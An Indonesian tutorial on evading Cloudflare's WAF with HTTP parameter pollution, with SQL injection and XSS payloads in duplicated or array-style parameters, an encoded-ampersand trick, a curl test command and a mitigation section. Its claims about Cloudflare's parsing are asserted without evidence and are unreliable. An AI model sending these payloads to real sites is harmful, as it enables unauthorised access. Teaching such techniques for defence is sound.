Mengelabui Cloudflare WAF dengan Teknik HTTP Parameter Pollution

Bypass Cloudflare WAF dengan HTTP Parameter Pollution
Pendahuluan
Cloudflare Web Application Firewall (WAF) adalah salah satu solusi keamanan paling populer di internet. Dengan aturan yang dikelola secara global, WAF ini mampu memblokir berbagai serangan seperti SQL Injection, XSS, dan Path Traversal. Namun, tidak ada sistem yang sempurna. Salah satu teknik yang dapat digunakan untuk mengelabui WAF adalah HTTP Parameter Pollution (HPP).
HPP adalah teknik eksploitasi yang memanfaatkan cara server web menangani beberapa parameter dengan nama yang sama dalam permintaan HTTP. Perbedaan interpretasi antara WAF (seperti Cloudflare) dan aplikasi backend dapat menyebabkan aturan keamanan terlewati.
Konsep Dasar HTTP Parameter Pollution
Ketika klien mengirimkan permintaan HTTP dengan parameter duplikat, misalnya:
httpGET /search?q=aman&q=berbahaya&q=juga HTTP/1.1 Host: target.com
Cara parser parameter bergantung pada framework/teknologi backend:
- PHP / Apache: Hanya parameter terakhir yang digunakan (
juga). - ASP.NET / IIS: Menggabungkan nilai dengan koma (
aman,berbahaya,juga). - Node.js (Express): Tergantung parser query string, bisa menghasilkan array atau string pertama.
Cloudflare WAF biasanya hanya memeriksa parameter pertama atau menerapkan logika tertentu. Dengan memanipulasi urutan atau format parameter, payload berbahaya dapat disembunyikan dari WAF namun tetap diterjemahkan dengan benar oleh backend.
Eksploitasi Cloudflare WAF
Mari kita asumsikan sebuah aplikasi rentan SQL Injection di parameter username. Aturan Cloudflare WAF akan memblokir payload seperti:
sql' OR 1=1 --
Permintaan normal:
httpGET /login?username=' OR 1=1 --&password=test HTTP/1.1 Host: target.com
Akan langsung diblokir oleh Cloudflare.
Teknik 1: Duplikasi Parameter
Kirim parameter username dua kali. Parameter pertama berisi nilai aman, parameter kedua berisi payload.
httpGET /login?username=admin&username=' OR 1=1 --&password=test HTTP/1.1 Host: target.com
Jika backend menggunakan PHP (mengambil parameter terakhir), maka query menjadi:
sqlSELECT * FROM users WHERE username='' OR 1=1 --' AND password='test'
Sementara Cloudflare WAF mungkin hanya memeriksa parameter pertama (admin) dan menganggapnya aman. Bypass berhasil.
Teknik 2: Menggunakan Kurung Siku (Array-like)
Beberapa framework (seperti Laravel, Flask) mendukung notasi array.
httpGET /search?q[]=aman&q[]=berbahaya HTTP/1.1 Host: target.com
Cloudflare mungkin tidak mendeteksi payload di dalam q[], tetapi backend akan mengubahnya menjadi array dan menggunakan nilai kedua.
Contoh eksploitasi XSS:
httpGET /profile?name=John&name[0]=<script>alert(1)</script> HTTP/1.1 Host: target.com
Jika backend menggabungkan parameter dengan cara tertentu, script akan tereksekusi.
Teknik 3: Encoding Ganda atau Case Sensitivity
Cloudflare WAF sering kali menormalisasi URL decoding. Namun, Anda bisa mengirimkan parameter dengan encoding parsial.
httpGET /api?param=value%26param=malicious HTTP/1.1 Host: target.com
Karakter & yang di-encode (%26) pada nilai parameter dapat diinterpretasikan oleh backend sebagai pemisah parameter baru, sementara Cloudflare melihatnya sebagai bagian dari nilai parameter yang sama.
Demonstrasi dengan curl
Berikut perintah curl untuk menguji bypass:
bashcurl -v "https://target.com/login?username=admin&username=' OR 1=1 --&password=test"
Jika respon 200 OK (daripada 403/block), maka HPP berhasil.
Mitigasi
- Gunakan parser parameter yang konsisten: Aplikasi harus memiliki satu cara yang jelas dalam menangani parameter duplikat, bukan bergantung pada default framework.
- Validasi di level backend: Jangan percaya penuh pada WAF. Lakukan sanitasi dan prepared statement.
- Konfigurasi Cloudflare WAF: Gunakan aturan kustom untuk mendeteksi parameter duplikat mencurigakan atau notasi array yang tidak biasa.
- Normalisasi permintaan: Sebelum masuk ke backend, normalisasi parameter (misalnya hanya menggunakan parameter pertama atau terakhir) untuk menghilangkan ambiguitas.
Kesimpulan
HTTP Parameter Pollution adalah teknik yang elegan namun berbahaya untuk mem-bypass WAF. Cloudflare sebagai WAF garis depan rentan terhadap perbedaan interpretasi dengan aplikasi target. Pengembang harus memahami bagaimana framework mereka memproses parameter, dan jangan hanya mengandalkan WAF sebagai satu-satunya lapisan keamanan. Dengan menggabungkan praktik coding aman dan konfigurasi yang tepat, risiko eksploitasi HPP dapat diminimalkan.
Referensi: OWASP Parameter Pollution, Penelitian keamanan web terbaru.